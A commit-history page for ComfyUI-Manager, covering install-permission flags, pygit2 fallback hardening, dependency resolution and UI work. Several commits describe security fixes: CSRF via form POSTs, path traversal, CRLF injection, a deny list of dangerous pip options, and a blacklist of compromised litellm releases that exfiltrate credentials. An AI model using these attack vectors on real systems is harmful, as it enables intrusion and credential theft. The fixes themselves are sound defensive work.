Compare commits

..
167 Commits
Author SHA1 Message Date
Dr.Lt.Data bd4ede2237 bump version
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
2026-06-15 02:41:52 +09:00
Dr.Lt.DataandGitHub fca7ef149d feat(security): dedicated install flags decouple git_url/pip install from security_level (#2962)
Python Linting / Run Ruff (push) Has been cancelled
* feat(security): dedicated install flags decouple git_url/pip from security_level

Install via git URL and pip install are no longer gated by
security_level. Each surface gets a dedicated config.ini flag —
allow_git_url_install / allow_pip_install (both default false, secure
by default) — that fully REPLACES the security-level term for these two
features. The network-position invariant is retained: a non-local
listener stays denied regardless of the flags unless
network_mode = personal_cloud.

- New pure predicate is_dedicated_install_allowed() in
  common/manager_security (no config access; callers resolve config)
- Legacy endpoints /v2/customnode/install/git_url and .../pip switch
  from is_allowed_security_level('high+') to the flag gate; batch
  installs of unknown git URLs likewise (middle+ entry gate unchanged,
  unknown-pip 'block' stays unconditional; response shapes preserved)
- Config readers/writers (glob + legacy) parse and persist the flags;
  denial logs and frontend 403 messages name the responsible flag and
  note the non-local-listener requirement (network_mode=personal_cloud)
- No auto-seed from security_level — users previously on weak/normal-
  must opt in explicitly (see CHANGELOG migration notes; README
  documents the new contract)
- Update the pre-existing permissive E2E harness
  (start_comfyui_permissive.sh + test_e2e_legacy_real_ops.py) to the
  new contract: it now also sets allow_git_url_install /
  allow_pip_install = true, since security_level = normal- alone no
  longer opens the git_url/pip endpoints

Tests: predicate truth table proving security_level independence in
both directions, dual-reader config contract, security-level-matrix
freeze guards, legacy gate regression guards (121 unit), plus 22
real-server E2E tests incl. URL-form pip install with self-clean.

* test(e2e): fix fresh-env failures in customnode_info and git_clone harnesses

Two pre-existing harness defects that fail deterministically on a fresh
E2E environment (unrelated to the dedicated-install-flags change):

- test_e2e_customnode_info: TestInstalledPacks asserted the seed pack
  ComfyUI_SigmoidOffsetScheduler is installed, but nothing seeded it —
  the installing module (test_e2e_endpoint) runs alphabetically later
  and uninstalls it at the end. Add a module-scoped autouse fixture
  that installs the pack via cm-cli BEFORE the server starts (the
  imported-mode test asserts against the startup-frozen snapshot, so
  API-based seeding after boot cannot work) and removes it on teardown
  only if the fixture installed it.
- test_e2e_git_clone: _ensure_cache ran cm-cli update-cache with a
  120s timeout; the full DB download routinely exceeds that on slow
  links, erroring the whole module at setup. Raise to 600s.

Verified from a fresh state (seed pack absent): both modules pass
(13 tests, incl. previously-failing TestInstalledPacks 2 and
TestNightlyInstallCycle 3).
2026-06-11 01:44:12 +09:00
Dr.Lt.DataandGitHub 8b98723b42 fix(git_compat): follow-ups for pygit2 fallback hardening (#2974)
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Waiting to run
- Route list_remotes() fetch through _fetch_remote so the proxy and
  SSH-to-HTTPS rewrite apply to every fetch entry point, and provide
  pull on its proxies (parity with get_remote and the GitPython proxy)
  via a shared _pull_remote helper
- Rework _to_https_url: handle ssh://git@host:port/... URLs (drop the
  custom SSH port instead of mangling it into the path) and collapse
  leading slashes so git@host:/abs/path no longer yields a double-slash
  URL. Behavior narrowing: colon-less git@host/path (not a valid
  scp-form URL), ssh:// URLs with a port but no path, and IPv6 ssh://
  URLs are now returned unchanged instead of being wrongly converted
- clone_repo: omit the proxy= kwarg when no proxy is configured, so
  proxy-less installs keep working on pygit2 older than 1.18
- Simplify redundant except (KeyError, Exception) clause
- Require pygit2>=1.18 (clone_repository proxy= parameter)
- Add unit tests for _to_https_url (incl. negative cases pinning the
  narrowing) and a regression test that list_remotes proxies route
  fetch/pull through their own remote (late-binding guard)
2026-06-10 18:19:55 +09:00
622a7077a5 fix(git_compat): harden pygit2 fallback path; prefer system git when available (#2972)
Python Linting / Run Ruff (push) Waiting to run
* fix(git_compat): ignore global git config in pygit2 backend

Under Desktop 2.0 the launcher sets CM_USE_PYGIT2=1, so the pygit2 backend ran clone_repository/remote.fetch with no credentials callback and honored the user's global git config. An insteadOf rewrite (https->ssh) or credential helper then forced authentication, failing with 'authentication required but no callback set'.

Blank the system/global/XDG config search path at import time so libgit2 operations are hermetic, and normalize SSH-form GitHub URLs to anonymous HTTPS on clone and when opening a repo.

Amp-Thread-ID: https://ampcode.com/threads/T-019eafa0-16a1-726e-91a4-dac1a40d4481
Co-authored-by: Amp <amp@ampcode.com>

* fix(git_compat): preserve corporate http.proxy in pygit2 backend

Snapshot http.proxy from the global git config before blanking the config search path, then pass it explicitly (proxy=) to clone_repository and every remote.fetch() in the pygit2 backend, so corporate-lockdown proxy setups keep working after the insteadOf/SSH hardening.

Amp-Thread-ID: https://ampcode.com/threads/T-019eafa0-16a1-726e-91a4-dac1a40d4481
Co-authored-by: Amp <amp@ampcode.com>

* fix(git_compat): stop rewriting repo remotes on disk under pygit2 backend

Removing _normalize_remote_urls(): persistently rewriting a repo's SSH origin
to HTTPS mutates on-disk repo state, which is risky if interrupted. The pygit2
backend already neutralizes auth-forcing global config (insteadOf, credential
helpers) by blanking libgit2's config search path, so anonymous HTTPS fetch
works without touching the stored remote.

Manager already prefers the GitPython/system-git backend when a system git is
present (which honors the user's full git config including insteadOf https->ssh
and proxies), and only uses the bundled pygit2 when system git is absent or
CM_USE_PYGIT2=1 is set.

Amp-Thread-ID: https://ampcode.com/threads/T-019eafa0-16a1-726e-91a4-dac1a40d4481
Co-authored-by: Amp <amp@ampcode.com>

* fix(git_compat): fetch SSH-origin repos via in-memory anonymous HTTPS

Consolidate the five pygit2 fetch sites into a single _fetch_remote helper.
When a repo's stored origin is SSH-form (git@host:owner/repo), the bundled
pygit2 (no SSH transport) would fail with an auth error; fetch through an
in-memory anonymous remote over HTTPS instead, leaving .git/config untouched.
Also closes a proxy hole where get_remote() exposed remote.fetch without the
preserved http.proxy.

Validated against both backends (pygit2 1.19.2 + GitPython): all 47
git_compat tests pass; verified create_anonymous fetch updates
refs/remotes/origin/* without persisting any remote or rewriting origin.

Amp-Thread-ID: https://ampcode.com/threads/T-019eafa0-16a1-726e-91a4-dac1a40d4481
Co-authored-by: Amp <amp@ampcode.com>

---------

Co-authored-by: Amp <amp@ampcode.com>
2026-06-10 16:33:18 +09:00
Dr.Lt.DataandGitHub 01799f8cac chore(release): 4.2.1 — register extension.manager.supports_csrf_post feature flag (#2823)
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
Lets clients detect CSRF-POST backend support via ComfyUI core's feature_flags
instead of parsing version strings. Absence of the flag indicates a Manager
version < 4.2.1 that is incompatible with POST-only state-mutation endpoints.

Follow-up to #2818; no endpoint or security behavior change.
2026-04-22 22:07:16 +09:00
Dr.Lt.DataandGitHub 4410ebc6a6 fix(security): harden CSRF with Content-Type gate and expand E2E coverage (#2818)
Publish to PyPI / build-and-publish (push) Waiting to run
Python Linting / Run Ruff (push) Waiting to run
Defense-in-depth over GET→POST alone: reject the three CORS-safelisted
simple-form Content-Types (x-www-form-urlencoded, multipart/form-data,
text/plain) on 16 no-body POST handlers (glob + legacy) to block
<form method=POST> CSRF that bypasses method-only gating. Move
comfyui_switch_version to a JSON body so the preflight requirement applies.
Split db_mode/policy/update/channel_url_list into GET(read) + POST(write).
Tighten do_fix (high → high+) and gate three previously-ungated config
setters at middle. Resynchronize openapi.yaml (27 paths, 30 operations,
ComfyUISwitchVersionParams as a shared $ref component). Add E2E harness
variants, Playwright config, CSRF/secgate suites, 39-endpoint coverage,
and a CHANGELOG.

Breaking: legacy per-op POST routes (install/uninstall/fix/disable/update/
reinstall/abort_current) are removed; callers already use queue/batch.
Legacy /manager/notice (v1) is removed; /v2/manager/notice is retained.

Reported-by: XlabAI Team of Tencent Xuanwu Lab
CVSS: 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H)
2026-04-22 05:04:30 +09:00
49e205acd4 feat: add pygit2 compatibility wrapper for standalone Desktop 2.0 installs (#2719)
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
* feat: add pygit2 compatibility wrapper for standalone Desktop 2.0 installs

Add git_compat.py abstraction layer that wraps both GitPython and pygit2
behind a unified GitRepo interface. When CM_USE_PYGIT2=1 is set (by the
Desktop 2.0 Launcher for standalone installs), or when system git is not
available, the pygit2 backend is used automatically.

Key changes:
- New comfyui_manager/common/git_compat.py with abstract GitRepo base class,
  _GitPythonRepo (1:1 pass-throughs) and _Pygit2Repo implementations
- All 6 non-legacy files updated to use the wrapper:
  - comfyui_manager/glob/manager_core.py (14 git.Repo usages)
  - comfyui_manager/common/git_helper.py (7 git.Repo usages)
  - comfyui_manager/common/context.py (1 usage)
  - comfyui_manager/glob/utils/environment_utils.py (2 usages)
  - cm_cli/__main__.py (1 usage)
  - comfyui_manager/common/timestamp_utils.py (repo.heads usage)
- get_script_env() propagates CM_USE_PYGIT2 to subprocesses
- git_helper.py uses sys.path.insert to find git_compat as standalone script
- All repo handles wrapped in context managers to prevent resource leaks
- get_head_by_name returns _HeadProxy for interface consistency
- Submodule fallback logs clear message when system git is absent
- 47 tests comparing both backends via subprocess isolation

Co-authored-by: Amp <amp@ampcode.com>
Amp-Thread-ID: https://ampcode.com/threads/T-019d0ec5-cb9f-74df-a1a2-0c8154a330b3

* fix(pygit2): address review findings + bump version to 4.2b1

- C1: add submodule_update() after pygit2 clone for recursive parity
- C2: check subprocess returncode in submodule_update fallback
- C3: move GIT_OPT_SET_OWNER_VALIDATION to module-level (once at import)
- H1: use context manager in git_pull() to prevent resource leaks
- Bump version to 4.2b1, version_code to [4, 2]
- Add pygit2 to dev dependencies and requirements.txt

* style: fix ruff F841 unused variable and F541 unnecessary f-string

---------

Co-authored-by: Amp <amp@ampcode.com>
Co-authored-by: Dr.Lt.Data <dr.lt.data@gmail.com>
2026-03-27 08:42:26 +09:00
Dr.Lt.DataandGitHub 92e05fc767 fix(security): add litellm supply chain attack detection (PYSEC-2026-2) (#2732)
Publish to PyPI / build-and-publish (push) Waiting to run
Python Linting / Run Ruff (push) Waiting to run
Add litellm==1.82.7 and litellm==1.82.8 to pip_blacklist and remediation
guide in security_check.py to detect compromised packages that harvest
credentials and exfiltrate via attacker-controlled server.

Also fixes two pre-existing issues in pip_blacklist scanning:
- Remove `break` that caused only the first blacklist match to be
  detected, missing additional threats in multi-infection scenarios
- Replace substring matching with set-based exact matching to prevent
  false positives on similar version strings (e.g. 1.82.70 vs 1.82.7)

Bump version to 4.1.
2026-03-26 04:17:50 +09:00
Dr.Lt.DataandGitHub cd805b3202 fix: Windows git clone failures — URL reinstall + pipe deadlock + file lock (#2726)
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
Three fixes for Windows E2E failures:

1. cm_cli reinstall_node(): URL-based node specs used the full URL
   as lookup key, but internal dicts are keyed by repo basename or
   cnr_id. Use get_cnr_by_repo() for CNR-aware lookup with correct
   is_unknown flag.

2. git_helper.py gitclone(): disable tqdm progress when stderr is
   piped (sys.stderr.isatty() gate) to prevent pipe buffer deadlock.
   Also move stale directories from previous failed clones into
   .disabled/.trash/ before cloning (GitPython handle leak on Windows).

3. try_rmtree(): 3-tier deletion strategy for Windows file locks:
   retry 3x with delay, rename into .disabled/.trash/, then lazy-delete
   via reserve_script as final fallback.
2026-03-22 20:21:03 +09:00
Dr.Lt.DataandGitHub 099aed1ad4 fix(git_helper): Windows subprocess crash fix + multiplatform E2E CI (#2717)
Python Linting / Run Ruff (push) Has been cancelled
Publish to PyPI / build-and-publish (push) Has been cancelled
* fix(git_helper): surface git stderr and use portable exit code

- Redirect exception output to stderr for diagnostic visibility
- Surface GitCommandError.stderr when available
- Use sys.exit(1) instead of sys.exit(-1) for portable exit codes
- Remove debug print statements

* fix(e2e): cross-platform E2E tests with file-based stdout capture

- Cross-platform cm-cli path (Scripts/cm-cli.exe vs bin/cm-cli)
- File-based stdout/stderr capture to avoid Windows pipe buffer loss
- Rename uv-compile → uv-sync for standalone command refs
- Update conflict test packs: ansible → python-slugify/text-unidecode
- Add .trash_* cleanup and retry+rename for Windows file locks
- Add test_e2e_git_clone.py for nightly install via ComfyUI server
- Add setup_e2e_env.py cross-platform setup script

* feat(ci): add multiplatform E2E workflow (ubuntu/windows/macos)

Matrix: ubuntu-latest, windows-latest, macos-latest × Python 3.10
Triggers on push to main/feat/*/fix/* and PRs to main.

* bump version to 4.1b7
2026-03-21 09:24:35 +09:00
Dr.Lt.Data e129697151 bump version to the 4.1b6
Python Linting / Run Ruff (push) Has been cancelled
Publish to PyPI / build-and-publish (push) Has been cancelled
2026-03-18 02:06:02 +09:00
Dr.Lt.DataandGitHub cd60f33f6d fix(git_helper): remove comfyui_manager import to fix Windows subprocess crash (#2703)
git_helper.py is spawned as a standalone subprocess on Windows
(manager_core.py:1342). The import of comfyui_manager.common.timestamp_utils
triggered comfyui_manager/__init__.py which imports from comfy.cli_args —
unavailable in the subprocess environment, causing ModuleNotFoundError.

Inline get_backup_branch_name() using only stdlib (time, uuid), preserving
the original collision-detection and UUID-fallback semantics. Add 9 tests
covering standalone subprocess loading, behavioral equivalence, edge cases
(repo.heads exception, 99-suffix exhaustion with UUID fallback).
2026-03-18 02:04:48 +09:00
Dr.Lt.DataandGitHub ddccefbc70 feat(cli): add update-cache command, purge reinstall fallback, and batch failure tracking (#2693)
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
Add `cm-cli update-cache` command that force-fetches all remote data
and populates local cache in blocking mode. Bypasses pip/offline guards
in get_data_by_mode and get_cnr_data by directly fetching channel JSON
files and calling reload('remote'). Solves permanent cold-start issue
where pip-installed cm-cli could never populate CNR cache without
running the web server first.

Add UnifiedManager.purge_node_state() to both glob and legacy packages
for reinstall categorization mismatch (e.g. unknown→nightly). Includes
path traversal protection via commonpath, root directory guard,
comfyui-manager self-protection, and finally-guarded dictionary cleanup.

Add NodeInstallError exception and batch failure tracking to
for_each_nodes: reinstall propagates install failures via
raise_on_fail, for_each_nodes catches NodeInstallError, tracks
failed nodes, reports aggregate summary, and exits non-zero.

Remove debug print in install_node.
Bump version to 4.1b5.

E2E verified:
- update-cache: empty cache (5 lines) → populated (7815 lines)
- reinstall batch: 2 packs, 1 failure → continues to 2nd → summary + exit 1
2026-03-15 09:45:25 +09:00
Dr.Lt.Data 3bc2e18f88 refactor(cli): rename standalone uv-compile command to uv-sync
Publish to PyPI / build-and-publish (push) Waiting to run
Python Linting / Run Ruff (push) Waiting to run
The command performs collect→compile→install (full pipeline),
not just compile. uv-sync better reflects the actual behavior.

The --uv-compile flag on other commands (install, reinstall,
update, fix, etc.) is intentionally kept as-is: it reads as
a mechanism descriptor ("use uv pip compile to resolve deps")
rather than a reference to the standalone command name.
2026-03-14 08:50:12 +09:00
Dr.Lt.DataandGitHub d7a2277017 feat(cli): expand --uv-compile to all node management commands with conflict attribution (#2682)
* feat(cli): expand --uv-compile to all node management commands with conflict attribution

Add --uv-compile flag to reinstall, update, fix, restore-snapshot,
restore-dependencies, and install-deps commands. Each skips per-node
pip installs and runs batch uv pip compile after all operations.

Change CollectedDeps.sources type to dict[str, list[tuple[str, str]]]
to store (pack_path, pkg_spec) per requester. On resolution failure,
_run_unified_resolve() cross-references conflict packages with sources
using word-boundary regex and displays which node packs requested each
conflicting package.

Update EN/KO user docs and DESIGN/PRD developer docs to cover the
expanded commands and conflict attribution output. Strengthen unit
tests for sources tuple format and compile failure attribution.
Bump version to 4.1b3.

* refactor(cli): extract _finalize_resolve helper, add CNR nightly fallback and pydantic guard

- Extract `_finalize_resolve()` to eliminate 7x duplicated uv-compile
  error handling blocks in cm_cli (~-85 lines)
- Move conflict attribution regex to `attribute_conflicts()` in
  unified_dep_resolver.py for direct testability
- Update 4 attribution tests to call production function instead of
  re-implementing regex
- Add CNR nightly fallback: when node is absent from nightly manifest,
  fall back to cnr_map repository URL (glob + legacy)
- Add pydantic Union guard: use getattr for is_unknown in uninstall
  and disable handlers to prevent Union type mismatch
- Add E2E test suites for endpoint install/uninstall and uv-compile
  CLI commands (conflict + success cases)
- Add nightly CNR fallback regression tests
2026-03-14 07:58:29 +09:00
f042d73b72 feat(deps): add unified dependency resolver using uv pip compile (#2589)
Python Linting / Run Ruff (push) Has been cancelled
Publish to PyPI / build-and-publish (push) Has been cancelled
* feat(deps): add unified dependency resolver using uv pip compile

- Add UnifiedDepResolver module with 7 FRs: collect, compile, install pipeline
- Integrate startup batch resolution in prestartup_script.py (module scope)
- Skip per-node pip install in execute_install_script() when unified mode active
- Add use_unified_resolver config flag following use_uv pattern
- Input sanitization: reject -r, -e, --find-links, @ file://, path separators
- Handle --index-url/--extra-index-url separation with credential redaction
- Fallback to per-node pip on resolver failure or uv unavailability
- Add 98 unit tests across 20 test classes
- Add PRD and Design docs with cm_global integration marked as DEFERRED

* fix(deps): reset use_unified_resolver flag on startup fallback

When the unified resolver fails at startup (compile error, install
error, uv unavailable, or generic exception), the runtime flag was
not being reset to False. This caused subsequent runtime installs
to incorrectly defer pip dependencies instead of falling back to
per-node pip install.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* test(deps): add manual test cases for unified dependency resolver

Add environment setup guide and 16 test cases covering:
- Normal batch resolution (TC-1), disabled state (TC-2)
- Fallback paths: uv unavailable (TC-3), compile fail (TC-4),
  install fail (TC-5), generic exception (TC-16)
- install.py preservation (TC-6), runtime defer (TC-13)
- Input sanitization: dangerous patterns (TC-7), path separators
  (TC-8), index-url separation (TC-9), credential redaction (TC-10)
- Disabled pack exclusion (TC-11), no-deps path (TC-12)
- Both unified resolver guard paths (TC-14), post-fallback (TC-15)

Includes API reference, traceability matrix, and out-of-scope items.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(deps): prevent read_config() from overriding resolver fallback state

read_config() in manager_core.py unconditionally re-read
use_unified_resolver from config.ini, undoing the False set by
prestartup_script.py on resolver fallback. This caused runtime
installs to still defer deps even after a startup batch failure.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(deps): support multiple index URLs per line and optimize downgrade check

- Rewrite _split_index_url() to handle multiple --index-url /
  --extra-index-url options on a single requirements.txt line using
  regex-based parsing instead of single split.
- Cache installed_packages snapshot in collect_requirements() to avoid
  repeated subprocess calls during downgrade blacklist checks.
- Add unit tests for multi-URL lines and bare --index-url edge case.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* test(deps): add E2E scripts and update test documentation

Add automated E2E test scripts for unified dependency resolver:
- setup_e2e_env.sh: idempotent environment setup (clone ComfyUI,
  create venv, install deps, symlink Manager, write config.ini)
- start_comfyui.sh: foreground-blocking launcher using
  tail -f | grep -q readiness detection
- stop_comfyui.sh: graceful SIGTERM → SIGKILL shutdown

Update test documentation reflecting E2E testing findings:
- TEST-environment-setup.md: add automated script usage, document
  caveats (PYTHONPATH, config.ini path, Manager v4 /v2/ prefix,
  Blocked by policy, bash ((var++)) trap, git+https:// rejection)
- TEST-unified-dep-resolver.md: add TC-17 (restart dependency
  detection), TC-18 (real node pack integration), Validated
  Behaviors section, normalize API port to 8199

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(deps): harden input sanitization, expand test coverage, bump version

Security:
- Add _INLINE_DANGEROUS_OPTIONS regex to catch pip options after package
  names (--find-links, --constraint, --requirement, --editable, --trusted-host,
  --global-option, --install-option and short forms)
- Stage index URLs in pending_urls, commit only after full line validation
  to prevent URL injection from rejected lines

Tests:
- Add 50 new tests: inline sanitization, false-positive guards, parse
  helpers (_parse_conflicts, _parse_install_output), exception paths
  (91 → 141 total, all pass)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* feat(cli): add uv-compile command and --uv-compile flag for batch dependency resolution

Add two CLI entry points for the unified dependency resolver:

- `cm_cli uv-compile`: standalone batch resolution of all installed
  node pack dependencies via uv pip compile
- `cm_cli install --uv-compile`: skip per-node pip, batch-resolve all
  deps after install completes (mutually exclusive with --no-deps)

Both use a shared `_run_unified_resolve()` helper that passes real
cm_global values (pip_blacklist, pip_overrides, pip_downgrade_blacklist)
and guarantees PIPFixer.fix_broken() runs via try/finally.

Update DESIGN, PRD, and TEST docs for consistency.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-07 06:51:53 +09:00
0d88a3874d refactor(cli): move cm_cli to top-level package and remove dead cli-only-mode (#2548)
Python Linting / Run Ruff (push) Has been cancelled
Publish to PyPI / build-and-publish (push) Has been cancelled
- Move cm_cli from comfyui_manager/cm_cli/ to top-level cm_cli/ package
- Convert relative imports to absolute imports
- Remove non-functional cli-only-mode command (flag was never checked)
- Update docs: python cm-cli.py → cm-cli entrypoint
- Update prestartup snapshot restore to use -m cm_cli
- Version bump to 4.1b1

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-27 19:42:35 +09:00
Dr.Lt.Data ef8703a3d7 security(api): add path traversal and CRLF injection protection
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
- Add is_safe_path_target() and get_safe_file_path() utilities
- Validate history id and snapshot target parameters in API endpoints
- Sanitize config string values to prevent CRLF injection
2026-01-08 18:35:03 +09:00
Akhil NarayananandDr.Lt.Data a4138a89ee Ignore Windows stderr flush errors (#2462) 2026-01-08 16:59:16 +09:00
Dr.Lt.Data f85a12f2a2 bump version to 4.0.4
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
2025-12-27 04:56:48 +09:00
GeorgeRandGitHub 29216e96bd Fix for peername tuple size variability in get_client_ip (#2427)
ipv6 compatibility patch.
2025-12-27 04:53:17 +09:00
Dr.Lt.Data 3f0fc85b95 refactor(core): add verbose config, improve module lookup, fix is_valid_url
- Add verbose config option to control CNR fetch logging
- Improve get_module_name with cnr_id/aux_id fallback via repo_cnr_map
- Fix is_valid_url misuse of try/finally that could cause runtime errors
- Move SSH_URL_PATTERN to module-level constant for performance
2025-12-27 03:57:19 +09:00
Dr.Lt.Data b9def4cb6e refactor: remove preview_method and component legacy features
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
Preview Method Removal:
- Remove preview method UI from Manager settings panel
- Remove /v2/manager/preview_method API endpoint (legacy)
- Remove set_preview_method() and get_current_preview_method() functions
- Remove preview_method from config read/write operations
- Clean up latent_preview imports

Use ComfyUI Settings > Execution > Live preview method instead.

Component Feature Removal:
- Delete components-manager.js entirely
- Remove ComponentBuilderDialog, load_components, set_component_policy
- Remove component policy UI from Manager settings panel
- Remove /v2/manager/policy/component API endpoint
- Remove /v2/manager/component/save and /loads API endpoints
- Remove component_policy from config read/write operations
- Remove manager_components_path from context
2025-12-19 22:39:59 +09:00
a7eb93fff0 Changed Main Dialog to match aesthetics and close button location as Original ComfyUI Interface (#2349)
* Started changing UI to match the rest of ComfyUI

Completed Main Container

* - Added layout formatting to components of the Manager dialog box
- Pulled name from select and put it into a label (eg "DB: Channel" now has a label of DB and a dropdown with channel, etc)
- Fixed incorrect z-index

* Removed this.close() I added before finding z-index issue.

* Matched buttons and drop downs to match style of ComfyUI interface while keeping the colours the same as OG ComfyUI Manager

* - Took gui building out and put into its own .js
- Applied theme to Nodes Manager
- Made theme respect user theme colors

* - Themed model manager and snapshot manager
- fixed incorrect id in gui builder

* Fix syntax error in color property

---------

Co-authored-by: Dr.Lt.Data <128333288+ltdrdata@users.noreply.github.com>
2025-12-19 15:04:02 +09:00
Dr.Lt.Data a542695e9c chore: bump version to 4.0.3b6 and fix git_helper path
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
- Update version from 4.0.3b5 to 4.0.3b6 in pyproject.toml
- Fix git_helper.py path to include 'common' subdirectory in context.py
2025-12-18 18:45:31 +09:00
Dr.Lt.Data 2779c66b39 feat(version): apply semver-based version sorting to glob and add master fallback
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
- Apply PR #2334 changes to glob/manager_core.py (was only in legacy)
- Add master branch fallback when remote/HEAD reference is unavailable
2025-12-15 03:39:13 +09:00
Dr.Lt.Data 952613c07b fix(api): improve import_fail_info_bulk lookup for cnr_id and aux_id
- Add aux_id format (author/repo) support in normalize_to_github_id()
- Fix get_module_name() to use URL normalization for unknown_active_nodes
- Use NormalizedKeyDict in reload() to maintain normalized key lookup
2025-12-15 02:54:30 +09:00
75f27d99e2 ComfyUI version listing + nightly current fix (#2334)
* Improve comfyui version listing

* Fix ComfyUI semver selection and stable update

* Fix nightly current detection on default branch

* Fix: use tag_ref.name explicitly and cache get_remote_name result

- Use tag_ref.name instead of tag_ref object for checkout
- Cache get_remote_name() result to avoid duplicate calls

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

---------

Co-authored-by: Dr.Lt.Data <dr.lt.data@gmail.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-12 23:12:01 +09:00
Dr.Lt.DataandClaude Opus 4.5 8e8b6ca724 fix(git): handle divergent branches safely + datetime fallback
- Use --ff-only flag to detect non-fast-forward situations
- Create backup branch before resetting divergent local branch
- Reset to remote branch when fast-forward is not possible
- Add timestamp_utils.py for Mac datetime module compatibility
- Migrate all datetime usages to centralized utilities
- Bump version to 4.0.3b5

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2025-12-12 22:45:05 +09:00
Dr.Lt.Data 3425fb7a14 docs: update manager data path to __manager
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
2025-12-03 02:38:15 +09:00
Dr.Lt.Data c69e7bcf03 feat(security): use system user directory for manager data
Use folder_paths.get_system_user_directory("manager") to protect manager config and data from HTTP endpoint access.

Ref: comfyanonymous/ComfyUI#10966
2025-12-03 02:34:57 +09:00
Dr.Lt.Data 85ebcd9897 In response to the patch that separates manager_requirements.txt from requirements.txt, this update additionally refreshes manager_requirements.txt when it is present.
Publish to PyPI / build-and-publish (push) Has been cancelled
Python Linting / Run Ruff (push) Has been cancelled
https://github.com/ltdrdata/ComfyUI/commit/79fb96488aa3842b9799a96e570535c6aed8e963
2025-11-26 22:35:03 +09:00
Dr.Lt.Data 69b6f1a66b Merge branch 'main' into manager-v4 2025-11-26 22:14:11 +09:00
Dr.Lt.Data d3906e3cbc bump version 2025-10-21 07:25:56 +09:00
Dr.Lt.DataandGitHub 079ac254ce fixed: Bug fix in glob/manager_server.py that prevented cache updates when installed via pip. (#2237)
Until the cacheless implementation is fully applied, the cache must always be updated — otherwise, various parts of the system will malfunction.
2025-10-21 07:16:57 +09:00
Dr.Lt.DataandGitHub e0640e7014 fixed: more complete uv support (#2230)
* Previously, only `uv` installed inside a venv was properly handled. Now `uv` installed outside the venv is also supported.
* Even if `use_uv=False`, `uv` is used as a fallback when `pip` is unavailable.
* Even if `use_uv=True`, `pip` is used as a fallback when `uv` is unavailable.

https://github.com/Comfy-Org/ComfyUI-Manager/issues/2125
2025-10-18 08:15:14 +09:00
Dr.Lt.Data 1ab2b1aeb3 modified: Reflection of changing --disable-manager to --enable-manager 2025-09-19 11:58:04 +09:00
Dr.Lt.Data ffaeb6d3ff from draft-v4 to manager-v4 2025-09-13 08:07:44 +09:00
Dr.Lt.Data 6cc1ad4cc0 Merge branch 'main' into draft-v4 2025-09-13 08:06:45 +09:00
Dr.Lt.Data d7799964de fixed: Issue where an invalid channel exception occurred when using the default channel
- Mismatch issue between ltdrdata/ and Comfy-Org/
modified: /v2/customnode/installed – cnr_id was being returned in a normalized form
modified: /v2/customnode/installed – when both an enabled nodepack and a disabled nodepack existed, modified to report only the enabled nodepack
fixed: Removed unnecessary warning messages printed during nodepack installation
2025-09-06 03:35:43 +09:00
Dr.Lt.Data 5378f0a8e9 bump version 2025-09-04 08:39:37 +09:00
Jin YiandGitHub e13bf68775 Fix JSON serialization error in bulk import fail info API (#2119)
* fix: import failed info bulk api bug fix

* fix: Remove unused ImportFailInfoBulkResponse import
2025-09-04 08:36:46 +09:00
Dr.Lt.Data d970fe68ea Merge branch 'main' into draft-v4 2025-09-03 01:24:47 +09:00
Dr.Lt.Data 41be94690f bump version 2025-08-28 00:27:03 +09:00
Christian ByrneandGitHub fbecbee4c3 Merge pull request #2106 from viva-jinyi/revert-legacy-hardcoding
Revert "As a temporary measure, the new UI will use the legacy/... ba…
2025-08-25 18:27:57 -07:00
Jin Yi b9a7d2a78c Revert "As a temporary measure, the new UI will use the legacy/... backend structure."
This reverts commit 121a5a1888.
2025-08-26 10:07:32 +09:00
Dr.Lt.Data bdfb70a58a bump version 2025-08-24 15:58:23 +09:00
Dr.Lt.Data 00fb9c88e1 modified: remove matrix-nio dependency from the requirements.txt
modified: The matrix share feature is now only available when the `matrix-nio` dependency is installed.

If `matrix-nio` is not installed:
1. Apply a strikethrough to the matrix checkbox text in the share UI and display a tooltip.
2. A warning is logged at startup indicating that `matrix-nio` is missing, along with the installation command.

fixed: Corrected an issue where PR #2025 was merged into draft-v4 but applied only to `legacy/..` and not to `glob/..`
2025-08-22 20:46:32 +09:00
Dr.Lt.Data 68bc8302fd Update publish-to-pypi.yml 2025-08-22 06:17:55 +09:00
Dr.Lt.Data 596dad5cda Update publish-to-pypi.yml 2025-08-22 06:14:51 +09:00
Dr.Lt.DataandGitHub a924c280fb Update publish-to-pypi.yml 2025-08-22 06:08:59 +09:00
Dr.Lt.Data 3d0bcf5979 update workflow 2025-08-22 06:00:26 +09:00
